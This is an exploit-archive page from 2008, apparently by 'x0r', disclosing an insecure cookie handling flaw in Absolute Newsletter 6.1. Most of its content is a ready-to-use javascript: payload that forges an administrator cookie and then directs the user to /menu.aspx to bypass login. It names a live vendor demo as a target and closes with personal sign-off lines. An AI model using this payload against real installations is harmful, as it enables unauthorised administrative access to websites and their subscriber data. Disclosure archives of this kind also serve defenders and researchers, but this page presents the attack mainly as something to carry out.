[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Absolute Newsletter 6.1 Insecure Cookie Handling Vulnerability
# Published : 2008-10-31
# Author : x0r
# Previous Title : SFS EZ Hotscripts-like Site (cid) Remote SQL Injection Vulnerability
# Next Title : SFS EZ Hosting Directory (cat_id) Remote SQL Injection Vulnerability
-=======================================-
Autore: x0r
Cms = Absolute Newsletter 6.1
Bug: Insecure Cookie Handling Vulnerability
-=======================================-
Exploit:
javascript:document.cookie="xlaANLDEMOadmin=lvl=1&userid=1&usr=admin&s=TYPE
A SERIES OF RANDOM NUMBERS AND CHARACTERS HERE; path=/"; and go to
/menu.aspx
Live Demo: http://www.xigla.com/absolutenl/demo
[-] King Lion Gay
[+] Margherita Ti Amo...I'm Sorry...
_EOF_
# www.Syue.com [2008-10-31]